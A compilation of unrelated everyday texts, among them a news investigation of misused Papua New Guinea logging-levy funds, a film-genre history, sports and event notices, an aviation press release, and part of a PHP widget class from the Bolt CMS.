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Govt Stole Development Funds from Logging Communities
26 Mar 201912 min read
Summary Findings
Income Generated
Missing Monies
Lack of documentation
Approved Projects
Government steals K80 million
Attempted Remedy Fails
More than K100 million collected by the government from logging companies to fund community development projects has been stolen or misused. Senior departmental heads appointed as trustees have failed in their duties and the biggest beneficiary has been the government itself, which has unlawfully taken more than K80 million of community funds.
These are findings contained in a scathing Auditor General's report recently released to the public.
It is now well-documented that large-scale logging by foreign-owned companies does not bring lasting development to the communities who suffer the often devastating environmental and social impacts.
This fact was acknowledged by government more than a decade ago when the Log Export Development Levy (LEDL) was introduced.
The levy is an additional tax paid by logging companies on every cubic metre of timber they export.
All monies collected is then supposed to be used by government to fund the agriculture and infrastructure development projects in communities impacted by logging that the companies so frequently promise, but so rarely deliver.
Image: Logging company roads last no longer than the logging itself. The Log Export Development Levy was supposed to fund permanent infrastructure like steel and concrete bridges.
Unfortunately, government has proven to be no more reliable than the foreign logging companies in upholding its side of the bargain.
Between 2012 and 2015, more than K100 million in levies was collected by government and placed into a trust account. However, in a devastating set of findings, the Auditor General has revealed how those funds, intended to alleviate suffering in logging communities, have been stolen and misused.
In 2014, the government took K80 million from the LEDL trust account to fund its own supplementary budget;
K48 million has been paid from the trust funds with limited and in some cases no record of the recipients;
From 2006-2015, only ONE community project recommended for LEDL funding was approved by the trustees;
The trustees did though approve funding for nine projects that had not been through the vetting process;
There is no documentation showing how those nine projects were evaluated and approved;
There has been no monitoring of how any of the funds have been spent;
Between 2012 and 2015 levy payments by logging companies were short by over K6 million;
Nearly K4 million has disappeared in 'unnecessary' transfers between trust funds;
The levy has never been increased in-line with inflation and declined in value by 40% between 2006-16 – giving logging companies a windfall worth tens of millions of Kina.
Overall the AGO found there were 'low standards of accountability and transparency by the agencies involved' – the PNG Forest Authority, PNG Customs Service and the Department of Finance.
The 'low standards' included a complete absence of accounting records and supporting documents for the administration of the levy trust funds.
Further compounding this injustice are the findings of the Oakland Institute, published in 2018 and 2016, which show how logging companies also defraud the State of tax revenues by continually declaring losses from their operations rather than profits. Bizarrely, the more they log the greater the losses they declare.
In 2017 the Auditor General's Office (AGO) published the results of a performance audit on the effectiveness of the management of the Log Export Development Levy (LEDL) over a four year period from 2012-15.
LEDL is a customs duty imposed on log exporters at the rate of K8 per cubic metre of the total volume of non-plantation logs they export. The funds collected are paid into a trust account managed by a Committee who are responsible for the disbursement of the funds.
The Committee members are the Secretary of Finance, the Secretary of Planning and the Managing Director of the PNG Forest Authority (PNGFA). These three top public servants also act as the trustees of the LEDL trust fund.
Since 2013, the PNGFA has been responsible for the trust's administration.
The PNGFA is also supposed to undertake independent project monitoring visits to project sites to verify the implementation of LEDL funded project. It is to assist the Committee in evaluating project proposals as well. A Technical Evaluation Committee exists to undertake these roles.
The Forestry Act dictates that expenditure from the levy trust account is strictly limited to 'agriculture or infrastructure development projects in logging areas submitted by the relevant local level or provincial government'. [Section 121A(7)(a)]
Between 2012 and 2015, more than 14 million cubic meters of logs were exported from PNG and more than K105 million was paid into the LEDL trust account.
The amount could have been far greater, but the levy has not being reviewed or adjusted since it was introduced in 2006. Taking account of inflation, the AGO has calculated the K8 levy was worth just K4.76 by 2015, more than 40% less than when it was when it was introduced.
The AGO also found the K105 million that was collected appeared to be between K6 million and K7 million less than expected when compared to the volume of logs exported. While the actual volume of logs exported was not available from the Customs Service, the AGO was able to compare the sums collected with the volume of exports declared by the third-party monitor, SGS.
Not that the government has made good use of the monies it has collected.
The AGO reports that between 2007 and 2015, eighty-four project proposals were received for funding from the LEDL. Of these, only twelve were evaluated by the Forest Authority (PNGFA) and recommended to the LEDL Committee for funding.
The total value of these 12 projects recommended for funding was just K24.52 million. That is less than 25% of the monies actually collected in just the four years from 2012-16.
This points to a complete breakdown in the whole LEDL process. Clearly too few projects are being recommended for funding.
The AGO report though reveals things are even worse than this.
Of these twelve projects recommended for funding by the evaluation committee, ONLY ONE had been approved by the LEDL Committee. And even then it had yet to receive any funding at the time of the AGO's investigation.
So, the AGO found that despite the LEDL having being introduced in 2006, nine years later, only one development project had ever been approved for funding and even that solitary project was yet to receive any monies.
This failure to fund any approved community development projects in logging areas, is though just the tip of the iceberg when it comes to the findings of the Auditor General.
For starters there is K4 million which the AGO found simply vanished. Log exporters pay LEDL to the Customs Service which deposits the funds into a withholding trust account. The funds are then transferred to a main trust account. The Auditor General describes the transfer from one trust account to another as "an unnecessary step".
As a result of this "unnecessary step", the AGO found almost K4 million has simply disappeared:
The amounts deposited into the withholding account do not reconcile with the amounts received in the main trust account either cumulatively or individually in any year since 2012. The overall shortfall in the main trust account is almost K4 million.
Added to this K4 million, there was a further discrepancy discovered between SGS records and Customs Service records on the amount of levy collected. The SGS figure for the collection is K961,000 higher than that shown in the customs records.
Unsurprisingly, the AGO concluded there were "significant weakness in the system". As a result "on average 1.5 million Kina for each year between 2012 and 2015 was not paid into the trust fund".
The weaknesses included "a lack of adequate documentation in relation to deposits and withdrawals from the trust fund and transfers between the funds".
The lack of available documentation also extended to the projects that applied for funding from the LEDL, including those recommended to the Committee for approval.
The PNGFA failed to supply the AGO with any project submission documents, endorsements from the various committees supposed to vet and approve projects, tender documents or project evaluation reports.
There was also no documentation available to show the recommendations that were made as to which projects to approve, and those that should be rejected.
Indeed, the AGO found there "were no records kept of committee proceedings".
Remember, this is a Committee made up of the three trustees responsible for LEDL funds, amounting to well over K100 million, yet there are no records of their meetings, deliberations and decisions!
The lack of records becomes even more suspicious in light of the fact that nine projects, with a total value of over K36 million, which were never vetted or recommended for funding by the PNGFA, have been supposedly approved by the committee.
With the absence of any documentation relating to the Committee deliberations and decisions, the AGO report is silent on how the approved projects found their way into the committees deliberations.
Indeed, the AGO states it was unable to determine even IF the projects were approved in formal LEDL committee meetings, with all the members present as "there were no records kept of committee proceedings".
Although the AGO report does not inquire into any of the projects supposedly approved by the Committee, perhaps because there was no documentation made available on any of them, the list is worth looking at in greater detail.
K3.2m was awarded to Manibem Timber & Earth Moving Construction Ltd for a "timber processing project". Timber processing sounds worthwhile as a community development project but does it fit with the statutory requirement for an "agriculture or infrastructure development project"?
Manibem Timber & Earth Moving Construction Ltd is owned by Balthazar Kerry and Blasius Andik, whose listed residential addresses is in Port Moresby. The company, registered in 2010, has never filed an annual return.
Tavak Investment Limited from Tabar Island hasn't filed an Annual Return since 2007, when it declared its assets as K4. Nonetheless, it had two cocao processing and export projects approved for K2.74 million in funding. The company is owned by Joe Panga, John Same, Bernard Bote and Simon Lavaso.
The largest amount of project funding approved by the LEDL trustees, according to the AGO, was K8 million awarded to Asaule Development Corporation Limited in West New Britain for the "Rabaul Queen Inquiry".
The MV Rabaul Queen's sinking was, of course, one of the nation's worst ever peacetime maritime disasters. At least 172 people tragically lost their lives when the ferry sank in February 2012. But why was the Asaule Development Corporation, a company owned until his death in 2017 by Henry Maisam, awarded K8 million from the LEDL trust fund for a project titled "Rabaul Queen Inquiry"?
The same company was also awarded K500,000 for a "cocoa processing and export project".
According to the records of the Investment Promotion Authority, there is no company registered in PNG with the name Maya Holdings Ltd. Yet the AGO says a company with that name was awarded K5 million for the "Watut Timber Processing Project".
There is though a Maiya Holdings Ltd, owned by Petrus Yang. Yang and his four fellow directors all list their addresses as Watut in the Bulolo district of Morobe Province. Maiya has not filed an annual return since 2010 and at that time reported no activities, and assets of K100.
Alaba Development Corporation Limited is the first company on the list of approved funding recipients that does seem to have greater bona fides. It is 99% owned by Nixon Volele. Although, again, the company hasn't filed an annual return since 2010, at that time it was stated to have interests including a service station, oil palm estate and mini-sawmill. The company had declared assets of K900,000.
The LEDL Committee awarded the company K5.5 million for an "agro-forestry oil palm project".
In none of these cases is there any indication the approved project proposal was submitted by the relevant local level or Provincial government, as required by law.
Compounding these problems, the Finance Department and the PNGFA were not able to provide the AGO with any accounting records showing how the funds in the trust had been managed. This included no casebooks or revenue and expenditure ledgers. Nor was there supporting documentation such a vouchers and registers.
The AGO calmly states: "without documentation, there is a risk LEDL funds are being applied for unauthorised purposes".
The evidence presented by the AGO, from an analysis of bank statements, very clearly shows that this has been the case.
Although the projects approved by the LEDL Committee total K36 million, in the four years from 2012-15, K169 million was expended from the Trust Account.
The biggest beneficiary was the PNG government.
In December 2014, the government sequestrated K80 million from the LEDL trust account and transferred it to the Bank of PNG to fund the Supplementary (Appropriation) Bill.
This transaction was in breach of the trust instrument, as the LEDL trust account is not part of the Consolidated Revenue Fund.
Similarly, in February 2012, K5 million was paid to the Morobe Disaster and Emergency Committee. The AGO was not able to determine the nature or purpose of the payment as there was no supporting document but noted it "appears not to be related to a [approved] project".
For the period 2012-15, the AGO identified 15 payments made from the trust fund where there was only limited or in some cases no record of the payees. These payments totalled over K48 million.
It can be noted though, some of the payments do seem to match details in the list of projects approved by the LEDL Committee. In particular:
K2.5 million paid for a 'cocoa processing and export project' matches one of the approved projects from Tevak Investment Ltd
K5 million paid for 'Watut timber and processing project' matches the approved project from Maiya Holdings Ltd
K5.5 million paid for 'Agro forestry oil palm project matches the approved project from Alaba Development Ltd
K9.996 million paid to Global Construction matches the approved Kusha Pasi road sealing project.
The AGO also found six payments, totalling K117 million, exceeded the K5 million limit imposed on projects in the LADL administrative guidelines. One of those payments was of course the K80 million made to Bank PNG in order to fund the 2014 supplementary budget.
The AGO discovered a belated attempt to channel LEDL funds back into areas affected by logging.
This was done by paying the funds directly to District Treasuries for disbursement. Between 2012 and 2015, the AGO says LEDL payments totalling K41 million were made direct to districts affected by logging.
Unfortunately this was also in breach of LEDL guidelines.
Although the guidelines were revised in 2013 to allow payments to District Treasuries in area where logging was taking place, those changes were never endorsed and approved by the LEDL Committee as required.
In any event, the payments dd not even comply with the revised guidelines. The payments were not accompanied with the necessary administrative notes and were not supported by project proposals, the necessary endorsement from the Joint District Planning Committee and were not approved by the LEDL Trustees.
The record on monitoring and evaluation the spending of LEDL funds is, as might be expected by now in the light of the above findings, abysmal.
According to the legislation and administrative guidelines, the LEDL Committee, Provincial and Local Level governments, District and Provincial Administrators, Provincial Works Managers, and PNGFA staff are all supposed to take a role in the monitoring and evaluation of the implementation of approved projects.
Despite all the detailed legislative and administrative guidelines, the AGO found "there was no evidence that any kind of monitoring reports from monitoring agencies have been compiled".
At the time of the audit in March 2016, not one single certificate of completion of an approved project implemented since the establishment of the trust fund in 2007 was available.
The LEDL Committee, which comprises the fund trustees, are required under the Forestry Act to provide reports every six-months to the Secretary Treasury on the implementation of funded projects. No such reports could be provided to the AGO.
What the Auditor General has uncovered is a debacle. A complete failure by government agencies to properly administer and account for over K100 million collected on behalf of rural communities has been compounded by the government's decision to unlawfully help itself to K80 million of those funds.
Monies held in trust for rural communities and earmarked for their development has been unlawfully taken from them without their consent and with the intention of permanently depriving them of its use. This is theft.
The three people appointed by Statute as trustees of the LEDL funds are the Secretary of Finance, the Secretary of Planning and the Managing Director of the PNG Forest Authority. They or their nominees were also the three members of the LEDL Committee. For the key period of the AGO audit, 2012-15 the relevant people included Ken Ngangan and Kanawi Pouru.
It seems, from the AGO findings, either they knew what was going on and conspired in the mismanagement or did not take any effective action to prevent it, or they failed in their duties by simply being unaware of what was happening to the money.
It is pointless to ask whether the police fraud and anti-corruption squad will investigate. Of course they won't.
The LEDL is just one more scandal that will be quietly forgotten.


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Chinese Dissent at UCLA
UCLA has a variety of exchange arrangements with China as the image of the UCLA Confucius Institute on the left suggests. While these arrangements can be mutually beneficial, the university can also find itself in a difficult position when and if things go wrong. The NY Times carries a story dated Feb. 9 about a professor from Peking University who was a visiting professor at UCLA. While here, he made some statements that ultimately led to his discharge at his home university and to quasi-exile in the U.S.:
…Peking University allowed Professor Xia to leave China to become a visiting professor at the University of California, Los Angeles, starting in July 2011 and then at Stanford the next year.
But in March 2012, as Professor Xia's year at U.C.L.A. was nearing its end, Wen Jiabao, who was prime minister of China, gave a speech calling for reform of the Communist Party's leadership and the country. Professor Xia took to social media, including his blog, to urge gatherings around China to press for change. His actions angered the Chinese authorities, who ordered him back to China in January 2013. He was told in June that there would be a vote on his employment at the university, and in October he was dismissed. Peking University has partnerships with many American universities, and as word spread that he would most likely be fired, Professor Xia became a symbol of Chinese scholars' limited academic freedom…
Full story at http://www.nytimes.com/2014/02/10/us/chinese-dissident-lands-at-cato-institute-with-a-caution-to-colleges.html
Faithful blog readers will recall this item related to the most recent UC Regents meeting:
… There is also a proposal for a joint lab in China that would conduct clinical trials. Significant skepticism was expressed by regents about the risks entailed and having UCLA's name linked to an outside entity – a private firm. [Only one regent seemed to want to ask whether clinical trials in China are subject to the same kinds of controls, regulations, and human rights protections, that exist in the US. UCLA says it will apply US standards.]…
From: http://uclafacultyassociation.blogspot.com/2014/01/something-to-think-about-while-waiting.html
We look forward to any comments that anyone in Murphy Hall might have about Professor Xia.
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The Simpsonian • October 23, 2013 • https://thesimpsonian.com/5630/sports/volleyball/volleyball-heads-to-augustana-pumpkin-bash/
Volleyball heads to Augustana Pumpkin Bash
by Aaron Young
Despite suffering three straight losses to conference foe Loras, the University of Wisconsin-La Crosse and the University of Wisconsin-Platteville, the Simpson women's volleyball team is looking to regroup this weekend in Augustana, Ill.
The Storm (14-6, 2-3 IIAC) will compete at the Augustana Pumpkin Bash on Oct. 25-26, hosted by Augustana College (Ill.). Simpson will go up against three other schools at the two-day tournament, including Wheaton College, Carthage College, William Penn University and tournament-host Augustana College.
Simpson has been on the decline in the month of October after winning all but two matches in September. Nonetheless, the Storm find themselves ranked fourth in the conference standings and are one of four teams in the Iowa Conference who have an overall winning record. Leading the Storm offensive attack is sophomore Tabitha Blaser, who is currently ranked second in the conference in average kills per set (3.22; 222 total) in just 69 sets played. Senior Kim Rogers is ranked second in the IIAC in digs per set, averaging 4.61 for a total of 318 in 69 sets. Sophomore Katie Kieffer ranks in assists per set, averaging 9.51 for a total of 656 in 69 sets as well.
As the Storm continues to grind and battle on both sides of the net, the team will face competitive matchups as they head into this weekend's worth of play.
Wheaton College (20-8, 1-2 CCIW) head into the Pumpkin Bash tournament off a 3-1 win over the University of Wisconsin-River Falls on Oct. 19. Maddie McGinnis leads the Thunder and its attacks, recording 309 kills on the season so far. Another threat comes from the striking of Shelby Knowles, who ranks second on the team in kills with 272. Lauren Wilhite leads the team in assists (541) and Kelli Manning in digs (378). Emily Buyse leads the Thunder in blocks with 75, recording 15 on her own and 60 assisted.
Carthage College (16-10, 2-2, CCIW) heads into the tournament after defeating North Park University 3-1 on Oct. 19. Emily Heuermann and her 316 kills lead the Lady Reds, averaging about 3.10 per set. Karen Chin leads the team in assists (963) while Hanna Cahoon leads the team in digs (517). Rachel Mickey and Bria Halley are the 1-2 punch in regards to blocking, as the duo recorded 65 and 64 blocks so far this season, respectively.
William Penn University (12-23, 0-3 MCC) will have their second go-around against the Storm, as the two teams first met on Oct 7 with Simpson winning 3-0. The Statesmen recently fell victim of the loss against Loras on Oct. 19, being shutout by the Duhawks 3-0. In fact, William Penn is on an eight-game losing streak. Leading the Statesmen offense is Kylie Giger and Kristal Campos. Giger owns the team-high in kills with 266 while Campos ranks second with 234. Contributing the majority of Giger and Campos' kills is Dayna Sammons, who leads the team with her 650 assists. Danielle Breeher leads the team in digs (504) while Giger also is first on the team in blocks with 85 (27 solo, 58 assisted).
Augustana College (14-9, 2-2 CCIW) heads into its tournament after defeating North Central 3-1 on Oct. 15. Martha Murray and her 208 kills lead the Vikings, while Jordan Hampel and her 415 assists lead the team as well. Kylie Siebert has a team-high 419 digs on the year so far while Jaquel Kibir-Evans leads the team with her 41 blocks (four solo, 37 assisted).
Simpson will open the tournament Oct. 25 against Wheaton at 4 p.m., followed by Carthage at 8 p.m. Then, on Oct. 26, the Storm will go head-to-head with the Statesmen of William Penn at 10 a.m., followed by the Vikings of Augustana College at 12 p.m.
Simpson continues conference play on Oct. 30, as the team faces the University of Dubuque at home at 7:30 p.m.


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9:27am 17.08.2017 Entertainment • Film by Jack Beresford
Phoenix Forgotten: The History Of The Found Footage Genre in Six Films
A brief history of cinema's most innovative horror genre.
Shocker 1999's original Blair Witch Project. Image Picture Artisan Entertainment
Stumble across an old camera (often one which has been bloodied, buried or burned), press play and watch in horror as the happy home movie scenes turn to terrifying images straight out of our worst nightmares…
The found footage formula may already be well established, but the genre is still a relatively new one having emerged over the past couple of decades as a means for talented young filmmakers to scare the pants off us on a tiny budget. Horror cinema has always been a breeding ground for innovation, and this is where found footage has been most successful. Using first person perspectives, unknown actors, low-fi footage, a documentary styleand novel marketing campaigns these films try their best to convince us that what we're seeing is real, and in many cases they've succeeded.
Brand new sci-fi horror Phoenix Forgotten is the latest scary movie to put a novel twist on the found footage formula by merging an already unexplainable true-life event with cinematic sci-fi horror. The film tells the story of three teens who went into the desert shortly after the infamous 'Phoenix Lights' incident of March 13th, 1997, when several mysterious lights appeared over Phoenix, Arizona. Hoping to document the strange events occurring in their town, they disappeared that night, and were never seen again. Now, on the twentieth anniversary of their disappearance, unseen footage has finally been
discovered, chronicling the final hours of their fateful expedition. For the first time ever, the truth will be revealed.
The Phoenix Lights incident is one of the most notorious and widely viewed UFO sightings in history and Phoenix Forgotten utilises the mystery surrounding the event to craft a frighteningly believable tale. Employing many of the best tricks of the genre, the film will leave you wondering what's real and what isn't. To celebrate the film's release we take a look back over the history of found footage cinema, picking out the films that made their mark.
Cannibal Holocaust (1980)
This is the one that started it all. Italian director Ruggero Deodata's film sees a documentary filmmaking team trek into the Amazon jungle in search of indigenous tribes, only for them to disappear. When a rescue team arrives in the area, the camera crew's film reels are found and their gruesome fate revealed. Featuring cannibalism, impalement, animal abuse and sexual assault, the film caused immediate controversy on release and the director was actually arrested on obscenity charges after his movie's premiere.
Accused of making a 'snuff' film (footage showing an actual murder), he'd eventually be cleared, but only after bringing his actors out of hiding to prove that they weren't actually killed during the shoot. Continuing to garner controversy to this day, the film has nevertheless earned its place in cinema
history as the first major found footage feature.
The Last Broadcast (1998)
Notable for its pre Blair Witch Project release, The Last Testament is one of the first films to utilise a found footage approach to create a story around a well-known myth. In the same way Phoenix Forgotten explores a real-life UFO incident, The Last Testament looks into America's infamous'Jersey Devil' urban legend. The film is based around the violent murder of the hosts of a crew from a cable television show who head into New Jersey's Pine Barrens woodland in search of the fabled creature.
Having filmed themselves for live Internet broadcast, the murders are pinned on the only survivor of the
encounter but when a damaged videotape reel turns up the real killer is
revealed.
The Blair Witch Project (1999)
The global phenomenon that earned $250 million dollars from a $60,000 budget and brought the found footage genre to the mainstream.Written, directed and edited by Daniel Myrick and Eduardo Sanchez, the film placed three student filmmakers in the woods of Burkittsville, Maryland in order to shoot a documentary on a local legend, the Blair Witch. Unique features of the production involved giving each of the three principal actors individual instructions they would have to find and improvise each day, and also having them operate the cameras themselves.
Much of the film's success can be put down to its ingenious use of early internet marketing after a website was set up featuring 'Missing' posters of the actors who had gone into hiding and been labelled as 'Missing, presumed dead' on their IMDb page. The fake news reports and other information on the site led many people who stumbled upon it to believe the incident to be real. The Blair Witch Project remains one of the most successful independent films of all time.
Paranormal Activity (2007)
Following its release The Blair Witch Project inspired a rash of imitators but only Paranormal Activity has exceeded its success. An exercise in slow-build tension the film centres on a couple who setup recording equipment in their home in order to document the suspected ghostly occurrences. Terrifying in its believability, the film had audiences jumping out of their skins at the sight of a creaking door.
Like Blair Witch, director Oren Peli did not provide a script for his actors in order to create plausibility and naturalism through their improvisation. Earning nearly $200 million from a tiny $15,000 budget, the film would spawn a slew of sequels making it one of the most successful horror franchises of all time.
REC (2007)
Spanish found footage effort REC deserves a mention for pushing the genre forward in terms of scale and ambition.The film follows a reporter and her cameraman who are tagging along with a group of firemen for the night. After being sent to an apartment block to rescue an old woman trapped in her
apartment, it's not long before all hell breaks loose.
The apparently sick tenant attacks the crew and shortly after the building's other residents fall to a mysterious disease that turns them into violent savages. The film ramps up to a terrifying finale, which gives a demonic twist to the zombie horror plot.
Cloverfield (2008)
Found footage goes Hollywoodas J.J Abrams produces this Matt Reeves (Planet of the Apes series) film on a budget of $25 million – still miniscule by most standards. Thanks to the experienced talent behind the camera, the film utilses the small budget to the max. Cloverfield features a towering creature on the rampage in New York as thearmy are sent in to stop it.
We follow the action through the eyes, and cameras, of a group of young friends as they make their way through the increasingly hostile city. Cloverfield was followed up by a sequel 10 Cloverfield Lane just last year, and a third entry, The God Particle is in the works.
Signature Entertainment presents Phoenix Forgotten on DVD and Digital HD from September 18 on Amazon.
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Jack Beresford
Loaded staff writer Jack Beresford has produced content for Lad Bible, Axonn Media and a variety of online sports and news media outlets.
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Saddle up for a rootin' tootin' round-up! Join author Carol Matthews Rey, illustrator Eldon Lux and celebrity guest Iris Wall at the Elisabeth Lahti Library, 15200 SW Adams Avenue, Indiantown on Saturday, March 17 at 3:00 p.m. at a book launch party celebrating the publication of Iris Wall, Cracker Cowgirl. Books will be available for sale and signing.
Sponsored by the Friends of the Elisabeth Lahti Library of Indiantown, Florida, Inc., this festive, fun event is free and open to the public. No tickets or reservations are required. For more information call 772-597-4200.
Iris Wall was anything but an average girl. While most girls in 1948 were learning how to quilt and crochet, Iris was a "twistin', turnin', buckin' bundle of blue twisted steel." She grew up breaking horses, and riding rodeos in Florida. Although her family didn't have a radio or television, there was never any shortage of entertainment. There were weekend bonfires and riding everywhere on her very own horse, but the thing Iris loved most in the world was cow hunting. In fact, she hunted cows for more than seventy years–first with her daddy, then her husband, and later with three cracker cowgirls of her own.
Carol Rey's children's biography tells how Cracker cowhunter Iris Wall grew up in America's oldest cattle-raising state. In 2006, she was inducted into the Florida Cracker Hall of Fame and presented with the "Woman of the Year in Agriculture" award. Old Florida is brought to life through a glossary at the end of her life's story.
Author Carol Matthews Rey is a second-grade teacher who has previously been named Martin County Teacher of the Year. She has taught elementary school for more than 35 years and had two history projects displayed at the Elliott Museum in Stuart, Florida. A member of the Florida Reading Association and the Society of Children's Book Writers and Illustrators, Rey was a past president of the Martin County Reading Association. She has completed advanced courses at the Institute of Children's Literature. The daughter of a farmer, she lives in Indiantown, Florida.
Illustrator Eldon Lux has 30 years' experience as an artist. His work is displayed in private collections in several U.S. states as well as foreign countries. He has previously worked for Walt Disney World, Walt Disney Imagineering, Disney California Adventure, and Tokyo DisneySea. Also a saddle maker and blacksmith, Lux was raised on a ranch and has a BS in animal science from the University of Nebraska. He lives in Kenansville, Florida.
To learn more information about the Martin County Library System pick up a Library Connection at any Martin County library, call (772) 221-1403, or visit the library website at http://www.library.martin.fl.us.


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Marcus Aurelius Mausaeus Carausius. Usurper in Britain (286/7-293). Was in command of the fleet in northrn Gaul but, taking advantage of his position, he turned to indiscriminate plunder and fell into disfavor. Fled to Britain and proclaimed himself emperor. He was defeated by the fleet of Maximian and was slain by his chief minister Allectus. He was probably 48 years old at his death.
His realm included Britain and perhaps the area around Bononia (Boulogne). These coins indicate at least part of the Second and Third Parthian Legions, originally founded by Septimius Severus in 197 AD, had found their way to Britain in the later third century where they supported Carausius' usurpation. Alternatively, they may be among the Gallic Legions that Carausius hoped to win over to his side. The Legionary issues of Carausius are the last in the Roman series to mention specific legions.
See the biography of Carausius at De Imperatoribus Romanis, an online encyclopedia of Roman emperors.


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Do you know that the top you are wearing, the imported coffee you are drinking and the food products you are buying from a mall are authenticated and safe?
The answer is no; you don't. You are just trusting the company because you cannot find answers to such questions.
Today's supply chains lack efficiencies and transparency and deal with counterfeiting and thefts. Businesses require a fair and transparent technology solutions that can improve supply chain operations from manufacturing through shipment.
With a variety of use cases in every step of the supply chain, people are looking to incorporate blockchain into their supply chain operations that can bring traceability and auditability.
You have to buy a very expensive yet rare cancer treatment medicine from a pharmacist. While buying it, you read a notice that says, "Store the medicine in a cool and dry place under 20 degrees." You might see that the pharmacist has taken precautions to store it properly under the required temperature. But how can you ensure that the distributor had also stored it adequately during transit or transportation?
You don't know the answer, so you trust and buy the medicine from the pharmacist. What if the medicine has lost its impact due to improper handling during the transit process?
This is where blockchain comes into the play. Imagine you have installed microchip sensors in the medicine package that tracks everything about the medicine package from the departure until it comes to your hands. The information gathered from the sensors is always updated on an immutable and shared blockchain ledger.
You scan the QR code given on the medicine package from your app and verify if it was kept on the right temperature or not. By combining IoT with the blockchain, people can confirm the authenticity of the product and they don't need to trust the process or pharmacist anymore.
The blockchain supply chain solution not only benefits the users, but it will also increase the sales by improving the supply chain process and bringing trust to the system.


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Ângelo Antônio Carneiro Lopes (Curvelo, 4 de junio de 1964) es un actor brasileño. Su último trabajo de proyección nacional fue como protagonista de la cinta 2 Filhos de Francisco, que cuenta la historia de Zezé di Camargo y Luciano.

Vida privada
Estuvo casado con la actriz Letícia Sabatella, con quien tiene una hija, Clara.

Filmografía

Televisión

Cine
2010 - Chico Xavier .... Chico Xavier
2007 - Batismo de Sangue .... Frei Oswaldo
2005 - 2 Filhos de Francisco
2005 - Cavalhadas de Pirenópolis
1999 - O Tronco
1998 - Bela Donna

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Enlaces externos

Actores de cine de Brasil
Actores de televisión de Brasil

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24 September 2019: ERA (European Regions Airline Association) has signed a Memorandum of Co-operation with the non-profit safety organisation Flight Safety Foundation.
The co-operation will aim to strengthen the efforts in addressing shared safety priorities and industry topics.
Recognising the power of collective action, ERA and Flight Safety Foundation have officially announced their signing of a Memorandum of Co-operation. Committed to closer working relations, the organisations will explore and identify areas of common interest in the field of aviation safety, benefiting both the association and foundation's members and their key stakeholders, including regulators, passengers and shareholders.
The two organisations have agreed to exchange relevant safety information and share materials, as well as consider working together on initiatives addressing pilot and engineering skills shortages. The co-operation will also aim to strengthen the efforts in addressing emerging issues that have resulted from the continued growth and expansion of the air transport industry in Europe, including the complexities associated with limited airspace and FIR boundary challenges.
ERA Director General, Montserrat Barriga, says: "ERA and Flight Safety Foundation have common priorities and by working together, we aim to put our shared knowledge and experience to good use. We are pleased to formalise our relationship and through this co-operation will further strengthen our efforts in improving our industry's safety culture, standards and performance."
ERA and Flight Safety Foundation already have a successful history of co-operation, having co-hosted the Flight Safety Forum since 2013. This annual event, also held in collaboration with Eurocontrol, is a forum that highlights key safety topics in aviation and airline operations for hundreds of international aviation safety experts.
"The international aviation industry will benefit from increased co-operation and greater engagement between the foundation and ERA," says Dr Hassan Shahidi, President and CEO of Flight Safety Foundation. "We look forward to continuing to collaborate with ERA on the annual Safety Forum and identifying new areas, such as safety performance measurement, where we can work together on behalf of our respective members and the broader aviation community."
For more information, please contact Becky Taylor, Editor Corporate Communications, on +44 (0)1276 485582, +44 (0)7713984792 or by email at becky.taylor@eraa.org.
Founded in 1980, ERA is a non-profit trade association representing 51 airlines and 153 companies involved in European air transport and is the only association representing the entire spectrum of companies involved in European aviation. The association promotes the interests of European airlines by lobbying the European Commission and other European regulatory bodies on policy matters, promoting the social and economic importance of air transport and its environmental commitments.
Flight Safety Foundation is an international non-profit organisation exclusively chartered to provide impartial, independent, expert safety guidance and resources for the aviation and aerospace industry. Its membership includes more than 1,000 organisations and individuals in 150 countries. The foundation is based in Alexandria, Virginia, US.
The Memorandum of Co-operation was solidified by ERA President Andrew Kelly and Mark Millam, VP Technical, Flight Safety Foundation, at ERA's latest Air Safety Group meeting, held recently in Zagreb, Croatia.
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namespace Bolt\Asset\Widget;

use Bolt\Asset\CallableInvokerTrait;

/**
 * Widget objects.
 *
 * @author Gawain Lynch <gawain.lynch@gmail.com>
 * @author Bob den Otter <bob@twokings.nl>
 */
class Widget implements WidgetAssetInterface
{
    use CallableInvokerTrait;

    /** @var string */
    protected $key;
    /** @var string */
    protected $type;
    /** @var string */
    protected $location;
    /** @var callable */
    protected $callback;
    /** @var array */
    protected $callbackArguments;
    /** @var string */
    protected $content;
    /** @var array */
    protected $class;
    /** @var string */
    protected $prefix;
    /** @var string */
    protected $postfix;
    /** @var boolean */
    protected $defer;
    /** @var integer */
    protected $priority;
    /** @var integer */
    protected $cacheDuration;

    /** @var string */
    private $rendered;

    public function offsetExists($offset)
    {
        return property_exists($this, $offset);
    }

    public function offsetGet($offset)
    {
        return $this->$offset;
    }

    public function offsetSet($offset, $value)
    {
        $this->$offset = $value;
    }

    public function offsetUnset($offset)
    {
        $this->$offset = null;
    }

    /**
     * {@inheritdoc}
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * {@inheritdoc}
     */
    public function setKey()
    {
        if ($this->key === null) {
            $this->key = md5(json_encode(get_object_vars($this)));
        }

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * {@inheritdoc}
     */
    public function setType($type)
    {
        $this->type = $type;

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function getLocation()
    {
        return $this->location;
    }

    /**
     * {@inheritdoc}
     */
    public function setLocation($location)
    {
        $this->location = $location;

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function getCallback()
    {
        return $this->callback;
    }

    /**
     * {@inheritdoc}
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    public function setCallback(callable $callback)
    {
        $this->callback = $callback;

        return $this;
    }

    /**
     * {@inheritdoc}
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    public function getCallbackArguments()
    {
        return $this->callbackArguments;
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    /**
     * {@inheritdoc}
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    public function setCallbackArguments(array $callbackArguments)
    {
        $this->callbackArguments = $callbackArguments;

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function getContent()
    {
        return $this->content;
    }

    /**
     * {@inheritdoc}
     */
    public function setContent($content)
    {
        $this->content = $content;

        return $this;
    }

    /**
     * {@inheritdoc}
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    public function getClass()
    {
        return $this->class;
    }

    /**
     * {@inheritdoc}
     */
    public function setClass($class)
    {
        if (is_array($class)) {
            foreach ($class as $classitem) {
                $this->setClass($classitem);
            }

            return $this;
        }

        if (substr($class, 0, 7) != 'widget-') {
            $class = 'widget-' . $class;
        }

        $this->class[] = $class;

        return $this;
    }

    /**
     * {@inheritdoc}
     */
    public function getPrefix()
    {
        return $this->prefix;
    }

    /**
     * {@inheritdoc}
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    public function setPrefix($prefix)
    {
        $this->prefix = $prefix;

        return $this;
    }

    /**
